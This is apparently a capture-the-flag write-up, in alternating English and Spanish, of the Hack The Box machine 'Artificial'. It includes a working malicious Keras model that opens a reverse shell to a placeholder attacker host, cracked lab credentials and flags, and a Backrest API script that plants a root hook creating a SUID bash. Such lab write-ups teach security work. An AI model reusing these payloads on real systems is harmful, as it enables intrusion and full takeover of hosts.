Artificial
Executive summary — Artificial is an "AI solutions" machine that lets registered users upload and run Keras models (
.h5). That flow is vulnerable to CVE-2024-3660: aLambdalayer can carry an arbitrary Python function that Keras runs while deserializing the model, and thesafe_modeprotection introduced in recent Keras versions is completely ignored when the model uses the legacy H5 format — exactly the one this app accepts. From the initial RCE, an unsalted-MD5 SQLite database gives SSH access via credential reuse, and the final escalation abuses Backrest (a web UI wrappingresticthat runs as root): a malicious backup hook gives arbitrary command execution as root in a single step.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.232.51 |
Attack map
[80] "AI Solutions" — Keras .h5 model upload
│ CVE-2024-3660 — Lambda deserialization RCE (safe_mode ignored in legacy H5)
▼
[RCE] app (uid 1001)
│ SQLite DB with MD5 hashes → cracked → gael:mattp005numbertwo
▼
[SSH] gael (user.txt, sysadm group)
│ /var/backups/backrest_backup.tar.gz → config.json → base64-wrapped bcrypt
│ cracked → backrest_root:!@#$%^
▼
[API] Backrest 1.7.2 on 127.0.0.1:9898 (runs as root)
│ AddRepo + SetConfig (hook on CONDITION_SNAPSHOT_START) + Backup
▼
[ROOT] hook runs as root → SUID bash → root.txt
1. Reconnaissance
The lab didn't offer passwordless
sudoto edit/etc/hosts, so work alternated between editing the file directly and usingcurl --resolve.
echo "10.129.232.51 artificial.htb" | sudo tee -a /etc/hosts
# No-sudo alternative:
curl --resolve artificial.htb:80:10.129.232.51 http://artificial.htb/
nmap -sT -p- --min-rate 3000 -T4 -Pn -oN m2_allports.txt 10.129.232.51
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -sT -sCV -p22,80 -Pn -oN m2_services.txt 10.129.232.51
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
nginx redirects to artificial.htb — virtual hosting is in play.
Resumen ejecutivo — Artificial es una máquina de "soluciones de IA" que permite a usuarios registrados subir y ejecutar modelos Keras (
.h5). Ese flujo es vulnerable a CVE-2024-3660: una capaLambdapuede llevar una función Python arbitraria que Keras ejecuta al deserializar el modelo, y la protecciónsafe_modeintroducida en versiones recientes de Keras se ignora por completo cuando el modelo usa el formato legacy H5 — precisamente el que acepta esta app. Desde el RCE inicial, una base de datos SQLite con hashes MD5 sin sal da acceso SSH por reutilización de credenciales, y la escalada final abusa de Backrest (una interfaz web sobreresticque corre como root): un hook de backup malicioso da ejecución de comandos arbitraria como root en un solo paso.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.232.51 |
Mapa del ataque
[80] "AI Solutions" — subida de modelos Keras .h5
│ CVE-2024-3660 — Lambda deserialization RCE (safe_mode ignorado en H5 legacy)
▼
[RCE] app (uid 1001)
│ BD SQLite con hashes MD5 → crackeados → gael:mattp005numbertwo
▼
[SSH] gael (user.txt, grupo sysadm)
│ /var/backups/backrest_backup.tar.gz → config.json → bcrypt en base64
│ crackeado → backrest_root:!@#$%^
▼
[API] Backrest 1.7.2 en 127.0.0.1:9898 (corre como root)
│ AddRepo + SetConfig (hook en CONDITION_SNAPSHOT_START) + Backup
▼
[ROOT] hook ejecutado como root → bash SUID → root.txt
1. Reconocimiento
El laboratorio no ofrecía
sudosin contraseña para editar/etc/hosts, así que se trabajó alternando entre editar el fichero puntualmente y usarcurl --resolve.
echo "10.129.232.51 artificial.htb" | sudo tee -a /etc/hosts
# Alternativa sin sudo:
curl --resolve artificial.htb:80:10.129.232.51 http://artificial.htb/
nmap -sT -p- --min-rate 3000 -T4 -Pn -oN m2_allports.txt 10.129.232.51
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -sT -sCV -p22,80 -Pn -oN m2_services.txt 10.129.232.51
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
nginx redirige a artificial.htb — hay virtual hosting.
2. Web enumeration
curl -s --resolve artificial.htb:80:10.129.232.51 http://artificial.htb/ | grep -iE '<title>|href='
<title>Artificial - AI Solutions
href="/login" href="/register"
An "AI solutions" site with a normal registration/login flow:
curl -s -c cj.txt -b cj.txt --resolve artificial.htb:80:10.129.232.51 \
-X POST http://artificial.htb/register \
-d "username=pwn&email=pwn@pwn.htb&password=Passw0rd123" # 302 -> /login
curl -s -c cj.txt -b cj.txt --resolve artificial.htb:80:10.129.232.51 \
-X POST http://artificial.htb/login \
-d "email=pwn@pwn.htb&password=Passw0rd123" # 302 -> /dashboard
The dashboard reveals the key feature: model upload and execution.
action="/upload_model" enctype="multipart/form-data" accept=".h5"
href="/static/Dockerfile"
href="/static/requirements.txt"
<a href="/run_model/<uuid>">View Predictions</a>
<a href="/delete_model/<uuid>">Delete</a>
The app lets you upload Keras
.h5models and then "run" them (/run_model/<id>), which on the backend callstensorflow.keras.models.load_model(...)followed by inference.
Build files exposed under /static/ confirm the exact versions to replicate:
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/.../tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64...whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64...whl
ENTRYPOINT ["/bin/bash"]
tensorflow-cpu==2.13.1
Conclusion: the server loads models with TensorFlow-CPU 2.13.1 on Python 3.8 — both versions have to be replicated exactly for the exploit to work.
3. Foothold — CVE-2024-3660 (Keras Lambda deserialization RCE)
Keras supports
Lambdalayers that wrap arbitrary Python functions as if they were just another neural-network layer. When the model is saved (model.save()), that function is serialized as bytecode via Python'smarshalmodule, right inside the.h5file. When that model is later loaded withload_model(), Keras deserializes and runs that bytecode — full RCE, no actual inference required. This is exactly CVE-2024-3660: even though Keras ≥2.13 introduced asafe_modeparameter meant to block precisely this pattern, Keras ignores it entirely when the model uses the legacy H5 format — the very format this application accepts and expects. The protection exists, but only applies to the newer native format, not the one actually used here.
Critical compatibility detail:
marshalbytecode is specific to the Python version that generated it. The server runs Python 3.8, so the model also has to be built with Python 3.8, or the server'smarshal.loads()will silently fail to deserialize it. Kali (Python 3.13 by default) needs a separate 3.8 environment.
With no Docker available, uv (a Python toolchain manager) was used to install an isolated CPython 3.8 without touching the system install:
curl -LsSf https://astral.sh/uv/install.sh | sh
export PATH="$HOME/.local/bin:$PATH"
uv python install 3.8 # -> CPython 3.8.20
uv venv --python 3.8 tfenv
uv pip install --python tfenv/bin/python tensorflow-cpu==2.13.1
The malicious model: a Lambda layer whose function fires a reverse shell before returning its input unchanged (needed so the model stays syntactically valid):
# make_model.py (run with ./tfenv/bin/python)
import tensorflow as tf
LHOST="<ATTACKER_IP>"; LPORT=9001
def exploit(x):
import os
os.system(f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'")
return x
m = tf.keras.Sequential([
tf.keras.layers.Input(shape=(1,)),
tf.keras.layers.Lambda(exploit),
])
m.compile(optimizer="adam", loss="mse")
m.save("exploit.h5")
./tfenv/bin/python make_model.py # creates exploit.h5 (~10 KB)
Careful:
model.save()builds/traces the model locally, which runs the Lambda on the machine generating it. If a local listener is up on that same port while saving, the attacker box connects to itself. Generate the.h5with the listener off.
To send commands to a non-interactive reverse shell from an automated environment, a FIFO fed by tail -f is used:
mkfifo rsh_fifo; : > cmds.txt
tail -f cmds.txt > rsh_fifo & # keeps the write end open
nc -lvnp 9001 < rsh_fifo > rsh_out.txt &
# ... to send commands: echo 'id; hostname' >> cmds.txt ; then read rsh_out.txt
R() { curl -s -c cj.txt -b cj.txt --resolve artificial.htb:80:10.129.232.51 "$@"; }
R -X POST http://artificial.htb/login -d "email=pwn@pwn.htb&password=Passw0rd123" -o /dev/null
# Upload the .h5
R -X POST http://artificial.htb/upload_model -F "model_file=@exploit.h5;type=application/octet-stream"
# Get the model UUID from the dashboard and run it
R http://artificial.htb/dashboard | grep -oE '/run_model/[a-f0-9-]+'
R http://artificial.htb/run_model/<UUID> # -> server loads the model -> RCE
listening on [any] 9001 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.232.51] 41822
app@artificial:~/app$ id
uid=1001(app) gid=1001(app) groups=1001(app)
RCE confirmed as the app user (the Flask service runs under gunicorn as that account).
4. Post-exploitation as 'app' — user credentials
Later root access confirmed the exact location of the application and its database:
/home/app/app/app.py # Flask app
/home/app/app/instance/users.db # SQLite user database
app.service loaded active running App
LISTEN 127.0.0.1:5000 gunicorn (5 workers) # Flask behind nginx
LISTEN 127.0.0.1:9898 backrest # backup panel (privesc)
User passwords are stored as raw, unsalted MD5 in
users.db— trivially crackable with a wordlist.
sqlite3 /home/app/app/instance/users.db "select username,password from user;"
# -> username:md5 pairs
john --format=raw-md5 hashes.txt --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
| User | Password |
|---|---|
| hacker | hacker |
| gael | mattp005numbertwo |
| royer | marwinnarak043414036 |
5. SSH access as gael and user flag
ssh gael@10.129.232.51 # password: mattp005numbertwo
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
hostname: artificial
cat ~/user.txt
6cd707789f3b511d87c7e5ee126b2a74
🚩 user.txt: 6cd707789f3b511d87c7e5ee126b2a74
Key fact for the escalation: gael belongs to the
sysadmgroup (1007).
6. Privilege escalation — gael to root (Backrest)
ls -la /var/backups/
-rw-r----- 1 root sysadm 52357120 Mar 4 2025 backrest_backup.tar.gz
The backup is readable by the sysadm group, so
gaelcan read it directly (in the lab,linpeas.shflags it immediately under/var/backups).
Despite the .tar.gz extension, the file is not gzip-compressed — it's a plain tar (confirmed by checking its real header):
mkdir /tmp/brx && cd /tmp/brx
tar tf /var/backups/backrest_backup.tar.gz | grep -iE 'config.json|install.sh'
# backrest/.config/backrest/config.json
# backrest/install.sh
tar xf /var/backups/backrest_backup.tar.gz backrest/.config/backrest/config.json backrest/install.sh
cat backrest/.config/backrest/config.json
{
"modno": 2, "version": 4, "instance": "Artificial",
"auth": { "disabled": false, "users": [
{ "name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" }
]}
}
install.sh confirms Backrest is a systemd service running as root, with its web UI on port 9898 by default.
The passwordBcrypt field is base64-wrapped; decoding it reveals the real bcrypt hash:
echo -n "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d
# $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
Cracked with a wordlist (rockyou) → password !@#$%^. Verification:
import bcrypt
bcrypt.checkpw(b"!@#$%^",
b"$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO") # True
Backrest only listens on
127.0.0.1:9898. The usual route is an SSH port-forward (ssh -L 9898:127.0.0.1:9898 gael@<ip>) and browsing the UI. Here the choice was to hit its API directly from gael's own shell (already on localhost), skipping the tunnel. Backrest speaks connectrpc (POST /v1.<Service>/<Method>with JSON) and authenticates with a JWT.
curl -s -X POST http://127.0.0.1:9898/v1.Authentication/Login \
-H "Content-Type: application/json" \
-d '{"username":"backrest_root","password":"!@#$%^"}'
# {"token":"eyJhbGciOiJIUzI1NiI..."}
Why Backrest equals root: the service runs with root privileges so it can back up any path on the system. Backrest supports hooks: commands that fire on a backup plan's events. A hook in a plan that runs as root gives arbitrary command execution as root in a single step, with no need to restore/download files — the method used here, among several publicly documented routes for this same abuse (restoring root's SSH key from a backup is the equally valid "official" alternative).
Full flow over the API, all from gael's shell against 127.0.0.1:9898:
TOKEN=$(curl -s -X POST http://127.0.0.1:9898/v1.Authentication/Login \
-H "Content-Type: application/json" \
-d '{"username":"backrest_root","password":"!@#$%^"}' | sed -E 's/.*"token":"([^"]+)".*/\1/')
curl -s -X POST http://127.0.0.1:9898/v1.Backrest/AddRepo \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"id":"pwn","uri":"/tmp/pwnrepo","password":"backrest123","flags":[],"prunePolicy":{"maxUnusedPercent":10},"checkPolicy":{}}'
import json, urllib.request
B="http://127.0.0.1:9898"
def call(path, data, token=None):
req=urllib.request.Request(B+path, data=json.dumps(data).encode(),
headers={"Content-Type":"application/json"})
if token: req.add_header("Authorization","Bearer "+token)
return urllib.request.urlopen(req, timeout=40).read().decode()
tok=json.loads(call("/v1.Authentication/Login",
{"username":"backrest_root","password":"!@#$%^"}))["token"]
cfg=json.loads(call("/v1.Backrest/GetConfig",{},tok))
cfg["plans"]=[{
"id":"rootplan", "repo":"pwn", "paths":["/root"],
"schedule":{"disabled":True},
"hooks":[{
"conditions":["CONDITION_SNAPSHOT_START"],
"actionCommand":{"command":
"cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; "
"id > /tmp/hookout 2>&1; "
"cat /root/root.txt > /tmp/rootflag.txt 2>&1; chmod 644 /tmp/rootflag.txt"}
}]
}]
print(call("/v1.Backrest/SetConfig",cfg,tok)) # modno 2 -> 3
call("/v1.Backrest/Backup",{"value":"rootplan"},tok) # fires the plan -> hook as root
cat /tmp/hookout # uid=0(root) gid=0(root) groups=0(root)
ls -la /tmp/rootbash # -rwsr-xr-x 1 root root ... /tmp/rootbash (root SUID bash)
cat /tmp/rootflag.txt # 153d57680fbc9282dbc9e274915fe34b
/tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(gael) gid=1000(gael) euid=0(root) groups=1000(gael),1007(sysadm)
153d57680fbc9282dbc9e274915fe34b
🚩 root.txt: 153d57680fbc9282dbc9e274915fe34b
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Keras model upload (.h5) | CVE-2024-3660 — RCE via Lambda layer deserialization; safe_mode ignored in legacy H5 format | RCE as app |
| Lateral movement | users.db (SQLite) | Unsalted MD5 passwords, cracked with a wordlist | SSH as gael (user.txt) |
| PrivEsc | Backrest 1.7.2 (API, runs as root) | Group-readable backup + base64-wrapped bcrypt cracked + unrestricted backup hook | Root (root.txt) |
Lessons learned
- "Safe mode" only protects what it explicitly covers: CVE-2024-3660 shows that a mitigation designed for a library's newest native format can end up completely hollow if the legacy format that preceded it is still accepted and skips the same check.
- Loading an untrusted machine-learning model is equivalent to running arbitrary code from whoever uploaded it: Keras
Lambdalayers are, in practice, serialized Python code — treating them as "just data" is the underlying mistake. - Matching the exact Python version of the build environment is a real requirement, not a cosmetic one:
marshalbytecode is version-specific — without that match, the exploit silently fails server-side, with no error visible to the attacker. - Unsalted MD5 for user passwords is still a critical weakness — any standard wordlist breaks it in seconds.
- A backup tool that runs as root and allows unrestricted command hooks is root RCE by design for anyone who gets its credentials — restoring sensitive files (like root's SSH key) is an equally valid, publicly documented route for the same abuse.
2. Enumeración web
curl -s --resolve artificial.htb:80:10.129.232.51 http://artificial.htb/ | grep -iE '<title>|href='
<title>Artificial - AI Solutions
href="/login" href="/register"
Un sitio de "soluciones de IA" con registro/login normales:
curl -s -c cj.txt -b cj.txt --resolve artificial.htb:80:10.129.232.51 \
-X POST http://artificial.htb/register \
-d "username=pwn&email=pwn@pwn.htb&password=Passw0rd123" # 302 -> /login
curl -s -c cj.txt -b cj.txt --resolve artificial.htb:80:10.129.232.51 \
-X POST http://artificial.htb/login \
-d "email=pwn@pwn.htb&password=Passw0rd123" # 302 -> /dashboard
El dashboard revela la funcionalidad clave: subida y ejecución de modelos.
action="/upload_model" enctype="multipart/form-data" accept=".h5"
href="/static/Dockerfile"
href="/static/requirements.txt"
<a href="/run_model/<uuid>">View Predictions</a>
<a href="/delete_model/<uuid>">Delete</a>
La app permite subir modelos Keras
.h5y luego "ejecutarlos" (/run_model/<id>), lo que en el backend hacetensorflow.keras.models.load_model(...)seguido de inferencia.
Los ficheros de build expuestos en /static/ confirman las versiones exactas a replicar:
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/.../tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64...whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64...whl
ENTRYPOINT ["/bin/bash"]
tensorflow-cpu==2.13.1
Conclusión: el servidor carga modelos con TensorFlow-CPU 2.13.1 sobre Python 3.8 — ambas versiones hay que replicarlas exactamente para que el exploit funcione.
3. Foothold — CVE-2024-3660 (RCE por deserialización de Lambda en Keras)
Keras permite capas
Lambdaque envuelven funciones Python arbitrarias como si fueran una capa más de la red neuronal. Al guardar el modelo (model.save()), esa función se serializa como bytecode con el módulomarshalde Python dentro del propio.h5. Al cargar ese modelo conload_model(), Keras deserializa y ejecuta ese bytecode — RCE completa, sin necesidad de inferencia real. Este es exactamente CVE-2024-3660: aunque Keras ≥2.13 introdujo un parámetrosafe_modepensado para bloquear justo este patrón, Keras lo ignora por completo cuando el modelo usa el formato legacy H5 — el mismo que esta aplicación acepta y espera. La protección existe, pero solo se aplica al formato nativo más nuevo, no al que realmente se usa aquí.
Detalle crítico de compatibilidad: el bytecode de
marshales específico de la versión de Python que lo generó. El servidor usa Python 3.8, así que el modelo tiene que construirse también con Python 3.8, omarshal.loads()en el servidor fallará silenciosamente al deserializar. En Kali (Python 3.13 por defecto) hace falta un entorno 3.8 aparte.
Sin Docker disponible, se usó uv (gestor de toolchains de Python) para instalar un CPython 3.8 aislado sin ensuciar el sistema:
curl -LsSf https://astral.sh/uv/install.sh | sh
export PATH="$HOME/.local/bin:$PATH"
uv python install 3.8 # -> CPython 3.8.20
uv venv --python 3.8 tfenv
uv pip install --python tfenv/bin/python tensorflow-cpu==2.13.1
El modelo malicioso: una capa Lambda cuya función dispara una reverse shell antes de devolver su entrada sin modificar (necesario para que el modelo siga siendo sintácticamente válido):
# make_model.py (ejecutar con ./tfenv/bin/python)
import tensorflow as tf
LHOST="<ATTACKER_IP>"; LPORT=9001
def exploit(x):
import os
os.system(f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'")
return x
m = tf.keras.Sequential([
tf.keras.layers.Input(shape=(1,)),
tf.keras.layers.Lambda(exploit),
])
m.compile(optimizer="adam", loss="mse")
m.save("exploit.h5")
./tfenv/bin/python make_model.py # crea exploit.h5 (~10 KB)
Ojo:
model.save()construye/traza el modelo localmente, y eso ejecuta la Lambda en la propia máquina que lo genera. Si hay un listener local escuchando en el mismo puerto al guardar el modelo, la máquina atacante se conecta a sí misma. Hay que generar el.h5con el listener apagado.
Para poder enviar comandos a una reverse shell no interactiva desde un entorno automatizado, se usa un FIFO alimentado por tail -f:
mkfifo rsh_fifo; : > cmds.txt
tail -f cmds.txt > rsh_fifo & # mantiene abierto el extremo de escritura
nc -lvnp 9001 < rsh_fifo > rsh_out.txt &
# ... para enviar comandos: echo 'id; hostname' >> cmds.txt ; luego leer rsh_out.txt
R() { curl -s -c cj.txt -b cj.txt --resolve artificial.htb:80:10.129.232.51 "$@"; }
R -X POST http://artificial.htb/login -d "email=pwn@pwn.htb&password=Passw0rd123" -o /dev/null
# Subir el .h5
R -X POST http://artificial.htb/upload_model -F "model_file=@exploit.h5;type=application/octet-stream"
# Obtener el UUID del modelo del dashboard y ejecutarlo
R http://artificial.htb/dashboard | grep -oE '/run_model/[a-f0-9-]+'
R http://artificial.htb/run_model/<UUID> # -> el servidor carga el modelo -> RCE
listening on [any] 9001 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.232.51] 41822
app@artificial:~/app$ id
uid=1001(app) gid=1001(app) groups=1001(app)
RCE confirmada como el usuario app (el servicio Flask corre bajo gunicorn con ese usuario).
4. Post-explotación como 'app' — credenciales de usuario
Con acceso root posterior se confirmó la ubicación exacta de la aplicación y su base de datos:
/home/app/app/app.py # app Flask
/home/app/app/instance/users.db # base de datos SQLite de usuarios
app.service loaded active running App
LISTEN 127.0.0.1:5000 gunicorn (5 workers) # Flask detrás de nginx
LISTEN 127.0.0.1:9898 backrest # panel de backups (privesc)
Las contraseñas de usuario se almacenan como MD5 en crudo (sin sal) en
users.db— trivialmente crackeable por diccionario.
sqlite3 /home/app/app/instance/users.db "select username,password from user;"
# -> pares usuario:md5
john --format=raw-md5 hashes.txt --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
| Usuario | Contraseña |
|---|---|
| hacker | hacker |
| gael | mattp005numbertwo |
| royer | marwinnarak043414036 |
5. Acceso SSH como gael y flag de usuario
ssh gael@10.129.232.51 # contraseña: mattp005numbertwo
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
hostname: artificial
cat ~/user.txt
6cd707789f3b511d87c7e5ee126b2a74
🚩 user.txt: 6cd707789f3b511d87c7e5ee126b2a74
Dato clave para la escalada: gael pertenece al grupo
sysadm(1007).
6. Escalada de privilegios — gael → root (Backrest)
ls -la /var/backups/
-rw-r----- 1 root sysadm 52357120 Mar 4 2025 backrest_backup.tar.gz
El backup es legible por el grupo sysadm, así que
gaelpuede leerlo directamente (en el laboratorio,linpeas.shlo marca de inmediato en/var/backups).
Pese a la extensión .tar.gz, el fichero no está comprimido con gzip — es un tar plano (se confirma mirando su cabecera real):
mkdir /tmp/brx && cd /tmp/brx
tar tf /var/backups/backrest_backup.tar.gz | grep -iE 'config.json|install.sh'
# backrest/.config/backrest/config.json
# backrest/install.sh
tar xf /var/backups/backrest_backup.tar.gz backrest/.config/backrest/config.json backrest/install.sh
cat backrest/.config/backrest/config.json
{
"modno": 2, "version": 4, "instance": "Artificial",
"auth": { "disabled": false, "users": [
{ "name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" }
]}
}
install.sh confirma que Backrest es un servicio systemd que corre como root, con su interfaz web por defecto en el puerto 9898.
El campo passwordBcrypt está envuelto en base64; al decodificarlo aparece el hash bcrypt real:
echo -n "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d
# $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
Crackeado por diccionario (rockyou) → contraseña !@#$%^. Verificación:
import bcrypt
bcrypt.checkpw(b"!@#$%^",
b"$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO") # True
Backrest solo escucha en
127.0.0.1:9898. La vía habitual es un port-forward SSH (ssh -L 9898:127.0.0.1:9898 gael@{ip}) y navegar la UI. Aquí se optó por atacar su API directamente desde la propia shell de gael (ya en localhost), evitando el túnel. Backrest usa connectrpc (POST /v1.<Servicio>/<Método>con JSON) y JWT para autenticar.
curl -s -X POST http://127.0.0.1:9898/v1.Authentication/Login \
-H "Content-Type: application/json" \
-d '{"username":"backrest_root","password":"!@#$%^"}'
# {"token":"eyJhbGciOiJIUzI1NiI..."}
Por qué Backrest = root: el servicio corre con privilegios de root para poder respaldar cualquier ruta del sistema. Backrest soporta hooks: comandos que se disparan en eventos de un plan de backup. Un hook en un plan que corre como root da ejecución arbitraria como root en un solo paso, sin necesidad de restaurar/descargar ficheros — el método usado aquí, entre las varias vías públicamente documentadas para este mismo abuso (restaurar la clave SSH de root desde un backup es la alternativa "oficial", igual de válida).
Flujo completo por API, todo desde la shell de gael contra 127.0.0.1:9898:
TOKEN=$(curl -s -X POST http://127.0.0.1:9898/v1.Authentication/Login \
-H "Content-Type: application/json" \
-d '{"username":"backrest_root","password":"!@#$%^"}' | sed -E 's/.*"token":"([^"]+)".*/\1/')
curl -s -X POST http://127.0.0.1:9898/v1.Backrest/AddRepo \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"id":"pwn","uri":"/tmp/pwnrepo","password":"backrest123","flags":[],"prunePolicy":{"maxUnusedPercent":10},"checkPolicy":{}}'
import json, urllib.request
B="http://127.0.0.1:9898"
def call(path, data, token=None):
req=urllib.request.Request(B+path, data=json.dumps(data).encode(),
headers={"Content-Type":"application/json"})
if token: req.add_header("Authorization","Bearer "+token)
return urllib.request.urlopen(req, timeout=40).read().decode()
tok=json.loads(call("/v1.Authentication/Login",
{"username":"backrest_root","password":"!@#$%^"}))["token"]
cfg=json.loads(call("/v1.Backrest/GetConfig",{},tok))
cfg["plans"]=[{
"id":"rootplan", "repo":"pwn", "paths":["/root"],
"schedule":{"disabled":True},
"hooks":[{
"conditions":["CONDITION_SNAPSHOT_START"],
"actionCommand":{"command":
"cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; "
"id > /tmp/hookout 2>&1; "
"cat /root/root.txt > /tmp/rootflag.txt 2>&1; chmod 644 /tmp/rootflag.txt"}
}]
}]
print(call("/v1.Backrest/SetConfig",cfg,tok)) # modno 2 -> 3
call("/v1.Backrest/Backup",{"value":"rootplan"},tok) # dispara el plan -> hook como root
cat /tmp/hookout # uid=0(root) gid=0(root) groups=0(root)
ls -la /tmp/rootbash # -rwsr-xr-x 1 root root ... /tmp/rootbash (bash SUID root)
cat /tmp/rootflag.txt # 153d57680fbc9282dbc9e274915fe34b
/tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(gael) gid=1000(gael) euid=0(root) groups=1000(gael),1007(sysadm)
153d57680fbc9282dbc9e274915fe34b
🚩 root.txt: 153d57680fbc9282dbc9e274915fe34b
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Subida de modelos Keras (.h5) | CVE-2024-3660 — RCE por deserialización de capa Lambda; safe_mode ignorado en formato H5 legacy | RCE como app |
| Movimiento lateral | users.db (SQLite) | Contraseñas en MD5 sin sal, crackeadas por diccionario | SSH como gael (user.txt) |
| PrivEsc | Backrest 1.7.2 (API, corre como root) | Backup legible por grupo + bcrypt en base64 crackeado + hook de backup sin restringir | Root (root.txt) |
Lecciones aprendidas
- «Safe mode» solo protege lo que cubre explícitamente: CVE-2024-3660 demuestra que una mitigación pensada para el formato nativo más nuevo de una librería puede quedar completamente vacía de contenido si el formato legacy que la precede sigue aceptado y no aplica la misma comprobación.
- Cargar un modelo de machine learning no confiable equivale a ejecutar código arbitrario de quien lo subió: las capas
Lambdade Keras son, en la práctica, código Python serializado — tratarlas como "solo datos" es el error de fondo. - Igualar la versión exacta de Python del entorno de construcción es un requisito real, no cosmético: el bytecode de
marshales específico de versión — sin eso, el exploit falla en silencio en el servidor, sin ningún mensaje de error visible para el atacante. - MD5 sin sal para contraseñas de usuario sigue siendo una debilidad crítica — cualquier diccionario estándar lo rompe en segundos.
- Una herramienta de backups que corre como root y permite hooks de comando sin restricción es RCE root por diseño para cualquiera que consiga sus credenciales — restaurar ficheros sensibles (como la clave SSH de root) es una vía igual de válida y documentada públicamente para este mismo abuso.